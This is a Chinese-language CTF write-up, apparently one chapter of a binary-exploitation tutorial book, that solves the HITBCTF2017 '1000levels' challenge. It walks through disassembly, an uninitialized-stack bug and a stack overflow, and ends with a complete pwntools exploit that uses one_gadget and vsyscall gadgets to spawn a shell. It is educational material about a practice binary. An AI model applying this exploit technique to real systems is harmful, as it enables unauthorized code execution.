- 简介
- 一、基础知识篇
- 二、工具篇
- 三、分类专题篇
- 四、技巧篇
- 五、高级篇
- 六、题解篇
- 6.1 Pwn
- 6.1.1 pwn HCTF2016 brop
- 6.1.2 pwn NJCTF2017 pingme
- 6.1.3 pwn XDCTF2015 pwn200
- 6.1.4 pwn BackdoorCTF2017 Fun-Signals
- 6.1.5 pwn GreHackCTF2017 beerfighter
- 6.1.6 pwn DefconCTF2015 fuckup
- 6.1.7 pwn 0CTF2015 freenote
- 6.1.8 pwn DCTF2017 Flex
- 6.1.9 pwn RHme3 Exploitation
- 6.1.10 pwn 0CTF2017 BabyHeap2017
- 6.1.11 pwn 9447CTF2015 Search-Engine
- 6.1.12 pwn N1CTF2018 vote
- 6.1.13 pwn 34C3CTF2017 readme_revenge
- 6.1.14 pwn 32C3CTF2015 readme
- 6.1.15 pwn 34C3CTF2017 SimpleGC
- 6.1.16 pwn HITBCTF2017 1000levels
- 6.1.17 pwn SECCONCTF2016 jmper
- 6.1.18 pwn HITBCTF2017 Sentosa
- 6.1.19 pwn HITBCTF2018 gundam
- 6.1.20 pwn 33C3CTF2016 babyfengshui
- 6.1.21 pwn HITCONCTF2016 Secret_Holder
- 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
- 6.1.23 pwn BCTF2016 bcloud
- 6.1.24 pwn HITCONCTF2016 HouseofOrange
- 6.1.25 pwn HCTF2017 babyprintf
- 6.1.26 pwn 34C3CTF2017 300
- 6.1.27 pwn SECCONCTF2016 tinypad
- 6.1.28 pwn ASISCTF2016 b00ks
- 6.1.29 pwn Insomni'hackteaserCTF2017 TheGreatEscapepart-3
- 6.1.30 pwn HITCONCTF2017 Ghostinthe_heap
- 6.1.31 pwn HITBCTF2018 mutepig
- 6.1.32 pwn SECCONCTF2017 vmnofun
- 6.1.33 pwn 34C3CTF2017 LFA
- 6.1.34 pwn N1CTF2018 memsafety
- 6.1.35 pwn 0CTF2018 heapstorm2
- 6.1.36 pwn NJCTF2017 messager
- 6.1.37 pwn sixstarctf2018 babystack
- 6.1.38 pwn HITCONCMT2017 pwn200
- 6.1.39 pwn BCTF2018 houseofAtum
- 6.1.40 pwn LCTF2016 pwn200
- 6.1.41 pwn PlaidCTF2015 PlaidDB
- 6.1.42 pwn hacklu2015 bookstore
- 6.1.43 pwn 0CTF2018 babyheap
- 6.1.44 pwn ASIS2017 start_hard
- 6.1.45 pwn LCTF2016 pwn100
- 6.2 Reverse
- 6.3 Web
- 6.1 Pwn
- 七、实战篇
- 7.1 CVE
- 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
- 7.1.2 CVE-2015-0235 glibc _nsshostnamedigitsdots 堆溢出漏洞
- 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
- 7.1.4 CVE-2017-13089 wget skipshortbody 栈溢出漏洞
- 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
- 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
- 7.1.7 CVE-2018-6323 GNU binutils elfobjectp 整型溢出漏洞
- 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
- 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
- 7.1 CVE
- 八、学术篇
- 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
- 8.2 Return-Oriented Programming without Returns
- 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
- 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
- 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
- 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
- 8.9 Symbolic Execution for Software Testing: Three Decades Later
- 8.10 AEG: Automatic Exploit Generation
- 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software
- 8.13 New Frontiers of Reverse Engineering
- 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
- 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
- 8.22 Practical Memory Checking With Dr. Memory
- 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
- 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
- 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
- 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
- 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
- 8.28 Cross-Architecture Bug Search in Binary Executables
- 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
- 8.30 Preventing brute force attacks against stack canary protection on networking servers
- 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
- 8.34 Enhancing Symbolic Execution with Veritesting
- 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
- 8.39 DART: Directed Automated Random Testing
- 8.40 EXE: Automatically Generating Inputs of Death
- 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
- 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software
- 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
- 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
- 8.45 Ramblr: Making Reassembly Great Again
- 8.46 FreeGuard: A Faster Secure Heap Allocator
- 8.48 Reassembleable Disassembling
- 九、附录
文章来源于网络收集而来，版权归原创者所有，如有侵权请及时联系！
6.1.16 pwn HITBCTF2017 1000levels
题目复现
$ file 1000levels
1000levels: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d0381dfa29216ed7d765936155bbaa3f9501283a, not stripped
$ checksec -f 1000levels
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 6 1000levels
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
关闭了 Canary，开启 NX 和 PIE。于是猜测可能是栈溢出，但需要绕过 ASLR。not stripped 可以说是很开心了。
玩一下：
$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
1
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
Great job! You finished 1 levels in 1 seconds
Go 的功能看起来就是让你先输入一个数，然后再输入一个数，两个数相加作为 levels，然后让你做算术。
但是很奇怪的是，如果你使用了 Hint 功能，然后第一个数输入了 0 的时候，无论第二个数是多少，仿佛都会出现无限多的 levels：
$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
2
NO PWN NO FUN
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
1
More levels than before!
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
====================================================
Level 2
Question: 1 * 1 = ? Answer:1
====================================================
Level 3
Question: 1 * 1 = ? Answer:1
====================================================
Level 4
Question: 3 * 1 = ? Answer:
所以应该重点关注一下 Hint 功能。
题目解析
程序比较简单，基本上只有 Go 和 Hint 两个功能。
hint
先来看 hint：
[0x000009d0]> pdf @ sym.hint
/ (fcn) sym.hint 140
| sym.hint ();
| ; var int local_110h @ rbp-0x110
| ; CALL XREF from 0x00000fa6 (main)
| 0x00000cf0 push rbp
| 0x00000cf1 mov rbp, rsp
| 0x00000cf4 sub rsp, 0x110 ; 开辟栈空间 rsp - 0x110
| 0x00000cfb mov rax, qword [reloc.system] ; [0x201fd0:8]=0
| 0x00000d02 mov qword [local_110h], rax ; 将 system 地址放到栈顶 [local_110h]
| 0x00000d09 lea rax, obj.show_hint ; 0x20208c
| 0x00000d10 mov eax, dword [rax] ; 取出 show_hint
| 0x00000d12 test eax, eax
| ,=< 0x00000d14 je 0xd41 ; 当 show_hint 为 0 时
| | 0x00000d16 mov rax, qword [local_110h] ; 否则继续
| | 0x00000d1d lea rdx, [local_110h]
| | 0x00000d24 lea rcx, [rdx + 8]
| | 0x00000d28 mov rdx, rax
| | 0x00000d2b lea rsi, str.Hint:__p ; 0x111d ; "Hint: %p\n"
| | 0x00000d32 mov rdi, rcx
| | 0x00000d35 mov eax, 0
| | 0x00000d3a call sym.imp.sprintf ; 将 system 地址复制到 [local_110h+0x8]
| ,==< 0x00000d3f jmp 0xd66
| || ; JMP XREF from 0x00000d14 (sym.hint)
| |`-> 0x00000d41 lea rax, [local_110h]
| | 0x00000d48 add rax, 8 ; 将 "NO PWN NO FUN" 复制到 [local_110h+0x8]
| | 0x00000d4c movabs rsi, 0x4e204e5750204f4e
| | 0x00000d56 mov qword [rax], rsi
| | 0x00000d59 mov dword [rax + 8], 0x5546204f ; [0x5546204f:4]=-1
| | 0x00000d60 mov word [rax + 0xc], 0x4e ; 'N' ; [0x4e:2]=0
| | ; JMP XREF from 0x00000d3f (sym.hint)
| `--> 0x00000d66 lea rax, [local_110h]
| 0x00000d6d add rax, 8
| 0x00000d71 mov rdi, rax
| 0x00000d74 call sym.imp.puts ; 打印出 [local_110h+0x8]
| 0x00000d79 nop
| 0x00000d7a leave
\ 0x00000d7b ret
[0x000009d0]> ir~system
vaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system
[0x000009d0]> is~show_hint
051 0x0000208c 0x0020208c GLOBAL OBJECT 4 show_hint
可以看到 system() 的地址被复制到栈上（local_110h），然后对全局变量 show_hint 进行判断，如果为 0，打印字符串 “NO PWN NO FUN”，否则打印 system() 的地址。
为了绕过 ASLR，我们需要信息泄漏，如果能够修改 show_hint，那我们就可以得到 system() 的地址。但是 show_hint 放在 .bss 段上，程序开启了 PIE，地址随机无法修改。
go
继续看 go：
[0x000009d0]> pdf @ sym.go
/ (fcn) sym.go 372
| sym.go ();
| ; var int local_120h @ rbp-0x120
| ; var int local_118h @ rbp-0x118
| ; var int local_114h @ rbp-0x114
| ; var int local_110h @ rbp-0x110
| ; var int local_108h @ rbp-0x108
| ; CALL XREF from 0x00000f9f (main)
| 0x00000b7c push rbp
| 0x00000b7d mov rbp, rsp
| 0x00000b80 sub rsp, 0x120 ; 开辟栈空间 rsp - 0x120
| 0x00000b87 lea rdi, str.How_many_levels ; 0x1094 ; "How many levels?"
| 0x00000b8e call sym.imp.puts ; int puts(const char *s)
| 0x00000b93 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00000b98 mov qword [local_120h], rax ; 读入第一个数 num1 放到 [local_120h]
| 0x00000b9f mov rax, qword [local_120h]
| 0x00000ba6 test rax, rax
| ,=< 0x00000ba9 jg 0xbb9 ; num1 大于 0 时跳转
| | 0x00000bab lea rdi, str.Coward ; 0x10a5 ; "Coward"
| | 0x00000bb2 call sym.imp.puts ; int puts(const char *s)
| ,==< 0x00000bb7 jmp 0xbc7
| || ; JMP XREF from 0x00000ba9 (sym.go)
| |`-> 0x00000bb9 mov rax, qword [local_120h]
| | 0x00000bc0 mov qword [local_110h], rax ; num1 放到 [local_110h]
| | ; JMP XREF from 0x00000bb7 (sym.go)
| `--> 0x00000bc7 lea rdi, str.Any_more ; 0x10ac ; "Any more?"
| 0x00000bce call sym.imp.puts ; int puts(const char *s)
| 0x00000bd3 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00000bd8 mov qword [local_120h], rax ; 读入第二个数 num2 到 [local_120h]
| 0x00000bdf mov rdx, qword [local_110h]
| 0x00000be6 mov rax, qword [local_120h]
| 0x00000bed add rax, rdx ; 两个数的和 num3 = num1 + num2
| 0x00000bf0 mov qword [local_110h], rax
| 0x00000bf7 mov rax, qword [local_110h]
| 0x00000bfe test rax, rax
| ,=< 0x00000c01 jg 0xc14 ; num3 大于 0 时跳转
| | 0x00000c03 lea rdi, str.Coward ; 0x10a5 ; "Coward"
| | 0x00000c0a call sym.imp.puts ; int puts(const char *s)
| ,==< 0x00000c0f jmp 0xcee
| |`-> 0x00000c14 mov rax, qword [local_110h]
| | 0x00000c1b cmp rax, 0x3e7 ; num3 与 999 比较
| |,=< 0x00000c21 jle 0xc3c ; num3 小于等于 999 时
| || 0x00000c23 lea rdi, str.More_levels_than_before ; 0x10b6 ; "More levels than before!"
| || 0x00000c2a call sym.imp.puts ; int puts(const char *s)
| || 0x00000c2f mov qword [local_108h], 0x3e8 ; 将 num3 设为最大值 1000
| ,===< 0x00000c3a jmp 0xc4a
| ||| ; JMP XREF from 0x00000c21 (sym.go)
| ||`-> 0x00000c3c mov rax, qword [local_110h]
| || 0x00000c43 mov qword [local_108h], rax ; 把 num3 放到 [local_108h]
| || ; JMP XREF from 0x00000c3a (sym.go)
| `---> 0x00000c4a lea rdi, str.Let_s_go ; 0x10cf ; "Let's go!'"
| | 0x00000c51 call sym.imp.puts ; int puts(const char *s)
| | 0x00000c56 mov edi, 0
| | 0x00000c5b call sym.imp.time ; time_t time(time_t *timer)
| | 0x00000c60 mov dword [local_118h], eax
| | 0x00000c66 mov rax, qword [local_108h]
| | 0x00000c6d mov edi, eax ; rdi = num3
| | 0x00000c6f call sym.level_int ; 进入计算题游戏
| | 0x00000c74 test eax, eax
| | 0x00000c76 setne al
| | 0x00000c79 test al, al
| |,=< 0x00000c7b je 0xcd8 ; 返回值为 0 时跳转，游戏失败
| || 0x00000c7d mov edi, 0 ; 否则游戏成功
| || 0x00000c82 call sym.imp.time ; time_t time(time_t *timer)
| || 0x00000c87 mov dword [local_114h], eax
| || 0x00000c8d mov edx, dword [local_114h]
| || 0x00000c93 mov eax, dword [local_118h]
| || 0x00000c99 sub edx, eax
| || 0x00000c9b mov rax, qword [local_108h]
| || 0x00000ca2 lea rcx, [local_120h]
| || 0x00000ca9 lea rdi, [rcx + 0x20] ; "@"
| || 0x00000cad mov ecx, edx
| || 0x00000caf mov rdx, rax
| || 0x00000cb2 lea rsi, str.Great_job__You_finished__d_levels_in__d_seconds ; 0x10e0 ; "Great job! You finished %d levels in %d seconds\n"
| || 0x00000cb9 mov eax, 0
| || 0x00000cbe call sym.imp.sprintf ; int sprintf(char *s,
| || 0x00000cc3 lea rax, [local_120h]
| || 0x00000cca add rax, 0x20
| || 0x00000cce mov rdi, rax
| || 0x00000cd1 call sym.imp.puts ; int puts(const char *s)
| ,===< 0x00000cd6 jmp 0xce4
| ||| ; JMP XREF from 0x00000c7b (sym.go)
| ||`-> 0x00000cd8 lea rdi, str.You_failed. ; 0x1111 ; "You failed."
| || 0x00000cdf call sym.imp.puts ; int puts(const char *s)
| || ; JMP XREF from 0x00000cd6 (sym.go)
| `---> 0x00000ce4 mov edi, 0
| | 0x00000ce9 call sym.imp.exit ; void exit(int status)
| | ; JMP XREF from 0x00000c0f (sym.go)
| `--> 0x00000cee leave
\ 0x00000cef ret
可以看到第一个数 num1 被读到 local_120h，如果大于 0，num1 被复制到 local_110h，然后读取第二个数 num2 到 local_120h，将两个数相加再存到 local_110h。但是如果 num1 小于等于 0，程序会直接执行读取 num2 到 local_120h 的操作，然后读取 local_110h 的数值作为 num1，将两数相加。整个过程都没有对 local_110h 进行初始化，程序似乎默认了 local_110h 的值是 0，然而事实并非如此。回想一下 hint 操作，放置 system 的地址正是 local_110h（两个函数的rbp相同）。这是一个内存未初始化造成的漏洞。
接下来，根据两数相加的和，程序有三条路径，如果和小于 0，程序返回到开始菜单；如果和大于 0 且小于 1000，进入游戏；如果和大于 1000，则将其设置为最大值 1000，进入游戏。
然后来看游戏函数 sym.level_int()：
[0x000009d0]> pdf @ sym.level_int
/ (fcn) sym.level_int 289
| sym.level_int ();
| ; var int local_34h @ rbp-0x34
| ; var int local_30h @ rbp-0x30
| ; var int local_28h @ rbp-0x28
| ; var int local_20h @ rbp-0x20
| ; var int local_18h @ rbp-0x18
| ; var int local_10h @ rbp-0x10
| ; var int local_ch @ rbp-0xc
| ; var int local_8h @ rbp-0x8
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000c6f (sym.go)
| ; CALL XREF from 0x00000e70 (sym.level_int)
| 0x00000e2d push rbp
| 0x00000e2e mov rbp, rsp
| 0x00000e31 sub rsp, 0x40 ; '@'
| 0x00000e35 mov dword [local_34h], edi ; 将 level 存到 [local_34h]
| 0x00000e38 mov qword [local_30h], 0
| 0x00000e40 mov qword [local_28h], 0
| 0x00000e48 mov qword [local_20h], 0
| 0x00000e50 mov qword [local_18h], 0
| 0x00000e58 cmp dword [local_34h], 0
| ,=< 0x00000e5c jne 0xe68 ; level 不等于 0 时继续
| | 0x00000e5e mov eax, 1
| ,==< 0x00000e63 jmp 0xf4c ; 否则函数返回 1
| || ; JMP XREF from 0x00000e5c (sym.level_int)
| |`-> 0x00000e68 mov eax, dword [local_34h]
| | 0x00000e6b sub eax, 1 ; level = level - 1
| | 0x00000e6e mov edi, eax
| | 0x00000e70 call sym.level_int ; 递归调用游戏函数
| | 0x00000e75 test eax, eax
| | 0x00000e77 sete al
| | 0x00000e7a test al, al
| |,=< 0x00000e7c je 0xe88 ; 返回值为 1 时继续
| || 0x00000e7e mov eax, 0
| ,===< 0x00000e83 jmp 0xf4c ; 否则函数结束返回 0
| ||| ; JMP XREF from 0x00000e7c (sym.level_int)
| ||`-> 0x00000e88 call sym.imp.rand ; int rand(void)
| || 0x00000e8d cdq
| || 0x00000e8e idiv dword [local_34h]
| || 0x00000e91 mov dword [local_8h], edx
| || 0x00000e94 call sym.imp.rand ; int rand(void)
| || 0x00000e99 cdq
| || 0x00000e9a idiv dword [local_34h]
| || 0x00000e9d mov dword [local_ch], edx
| || 0x00000ea0 mov eax, dword [local_8h]
| || 0x00000ea3 imul eax, dword [local_ch]
| || 0x00000ea7 mov dword [local_10h], eax ; 将正确答案放到 [local_10h]
| || 0x00000eaa lea rdi, str. ; 0x1160 ; "===================================================="
| || 0x00000eb1 call sym.imp.puts ; int puts(const char *s)
| || 0x00000eb6 mov eax, dword [local_34h]
| || 0x00000eb9 mov esi, eax
| || 0x00000ebb lea rdi, str.Level__d ; 0x1195 ; "Level %d\n"
| || 0x00000ec2 mov eax, 0
| || 0x00000ec7 call sym.imp.printf ; int printf(const char *format)
| || 0x00000ecc mov edx, dword [local_ch]
| || 0x00000ecf mov eax, dword [local_8h]
| || 0x00000ed2 mov esi, eax
| || 0x00000ed4 lea rdi, str.Question:__d____d_____Answer: ; 0x119f ; "Question: %d * %d = ? Answer:"
| || 0x00000edb mov eax, 0
| || 0x00000ee0 call sym.imp.printf ; int printf(const char *format)
| || 0x00000ee5 lea rax, [local_30h] ; 读取输入到 [local_30h]
| || 0x00000ee9 mov edx, 0x400
| || 0x00000eee mov rsi, rax
| || 0x00000ef1 mov edi, 0
| || 0x00000ef6 call sym.imp.read ; read(0, local_30h, 0x400)
| || 0x00000efb mov dword [local_4h], eax ; 返回值放到 [local_4h]，即读取字节数
| || ; JMP XREF from 0x00000f16 (sym.level_int)
| ||.-> 0x00000efe mov eax, dword [local_4h]
| ||: 0x00000f01 and eax, 7 ; 取出低 3 位
| ||: 0x00000f04 test eax, eax
| ,====< 0x00000f06 je 0xf18 ; 为 0 时跳转，即 8 的倍数
| |||: 0x00000f08 mov eax, dword [local_4h]
| |||: 0x00000f0b cdqe
| |||: 0x00000f0d mov byte [rbp + rax - 0x30], 0 ; 在字符串末尾加上 0
| |||: 0x00000f12 add dword [local_4h], 1
| |||`=< 0x00000f16 jmp 0xefe ; 循环
| ||| ; JMP XREF from 0x00000f06 (sym.level_int)
| `----> 0x00000f18 lea rax, [local_30h]
| || 0x00000f1c mov edx, 0xa
| || 0x00000f21 mov esi, 0
| || 0x00000f26 mov rdi, rax
| || 0x00000f29 call sym.imp.strtol ; long strtol(const char *str, char**endptr, int base)
| || 0x00000f2e mov rdx, rax
| || 0x00000f31 mov eax, dword [local_10h]
| || 0x00000f34 cdqe
| || 0x00000f36 cmp rdx, rax ; 将输入答案与正确答案相比较
| || 0x00000f39 sete al ; 相等时设置 al 为 1
| || 0x00000f3c test al, al
| ||,=< 0x00000f3e je 0xf47 ; 返回值为 0
| ||| 0x00000f40 mov eax, 1
| ,====< 0x00000f45 jmp 0xf4c ; 返回值为 1
| |||| ; JMP XREF from 0x00000f3e (sym.level_int)
| |||`-> 0x00000f47 mov eax, 0
| ||| ; JMP XREF from 0x00000f45 (sym.level_int)
| ||| ; JMP XREF from 0x00000e83 (sym.level_int)
| ||| ; JMP XREF from 0x00000e63 (sym.level_int)
| ```--> 0x00000f4c leave
\ 0x00000f4d ret
可以看到 read() 函数有一个很明显的栈溢出漏洞，local_30h 并没有 0x400 这么大的空间。由于游戏是递归的，所以我们需要答对前 999 道题，在最后一题时溢出，构造 ROP。
漏洞利用
总结一下，程序存在两个漏洞：
- hint 函数将 system 放到栈上，而 go 函数在使用该地址时未进行初始化
- level 函数存在栈溢出
关于利用的问题也有两个：
- 虽然 system 被放到了栈上，但我们不能设置其参数
- 程序开启了 PIE，但没有可以进行信息泄漏的漏洞
对于第一个问题，我们有不需要参数的 one-gadget 可以用，通过将输入的第二个数设置为偏移，即可通过程序的计算将 system 修改为 one-gadget。
$ one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
这里我们选择 0x4526a 地址上的 one-gadget。
第二个问题，在随机化的情况下怎么找到可用的 ret gadget？这时候可以利用 vsyscall，这是一个固定的地址。（参考章节4.15）
gdb-peda$ vmmap vsyscall
Start End Perm Name
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
gdb-peda$ x/5i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret
0xffffffffff60000a: int3
0xffffffffff60000b: int3
但我们必须跳到 vsyscall 的开头，而不能直接跳到 ret，这是内核决定的。
最后一次的 payload 和调试结果如下：
gdb-peda$ x/11gx 0x7fffffffec10-0x50
0x7fffffffebc0: 0x4141414141414141 0x4141414141414141 <-- rbp -0x30
0x7fffffffebd0: 0x4141414141414141 0x4141414141414141
0x7fffffffebe0: 0x4141414141414141 0x4141414141414141
0x7fffffffebf0: 0x4242424242424242 0xffffffffff600000 <-- rbp <-- ret
0x7fffffffec00: 0xffffffffff600000 0xffffffffff600000 <-- ret <-- ret
0x7fffffffec10: 0x00007ffff7a5226a <-- one-gadget
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0xa ('\n')
RDX: 0x0
RSI: 0x0
RDI: 0x7fffffffebc0 ('A' <repeats 44 times>, "P")
RBP: 0x4242424242424242 ('BBBBBBBB')
RSP: 0x7fffffffebf8 --> 0xffffffffff600000 (mov rax,0x60)
RIP: 0x555555554f4d (<_Z5leveli+288>: ret)
R8 : 0x0
R9 : 0x1999999999999999
R10: 0x0
R11: 0x7ffff7b845a0 --> 0x2000200020002
R12: 0x5555555549d0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffee40 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555554f45 <_Z5leveli+280>: jmp 0x555555554f4c <_Z5leveli+287>
0x555555554f47 <_Z5leveli+282>: mov eax,0x0
0x555555554f4c <_Z5leveli+287>: leave
=> 0x555555554f4d <_Z5leveli+288>: ret
0x555555554f4e <main>: push rbp
0x555555554f4f <main+1>: mov rbp,rsp
0x555555554f52 <main+4>: sub rsp,0x30
0x555555554f56 <main+8>: mov QWORD PTR [rbp-0x30],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffebf8 --> 0xffffffffff600000 (mov rax,0x60)
0008| 0x7fffffffec00 --> 0xffffffffff600000 (mov rax,0x60)
0016| 0x7fffffffec08 --> 0xffffffffff600000 (mov rax,0x60)
0024| 0x7fffffffec10 --> 0x7ffff7a5226a (mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb8)
0032| 0x7fffffffec18 --> 0x3e8
0040| 0x7fffffffec20 --> 0x4e5546204f ('O FUN')
0048| 0x7fffffffec28 --> 0xff0000
0056| 0x7fffffffec30 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000555555554f4d in level(int) ()
三次 return 之后，就会跳到 one-gadget 上去。
Bingo!!!
$ python exp.py
[+] Starting local process './1000levels': pid 6901
[*] Switching to interactive mode
$ whoami
firmy
exploit
完整的 exp 如下：
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./1000levels'], env={'LD_PRELOAD':'./libc-2.23.so'})
one_gadget = 0x4526a
system_offset = 0x45390
ret_addr = 0xffffffffff600000
def go(levels, more):
io.sendlineafter("Choice:\n", '1')
io.sendlineafter("levels?\n", str(levels))
io.sendlineafter("more?\n", str(more))
def hint():
io.sendlineafter("Choice:\n", '2')
if __name__ == "__main__":
hint()
go(0, one_gadget - system_offset)
for i in range(999):
io.recvuntil("Question: ")
a = int(io.recvuntil(" ")[:-1])
io.recvuntil("* ")
b = int(io.recvuntil(" ")[:-1])
io.sendlineafter("Answer:", str(a * b))
payload = 'A' * 0x30 # buffer
payload += 'B' * 0x8 # rbp
payload += p64(ret_addr) * 3
io.sendafter("Answer:", payload)
io.interactive()
参考资料
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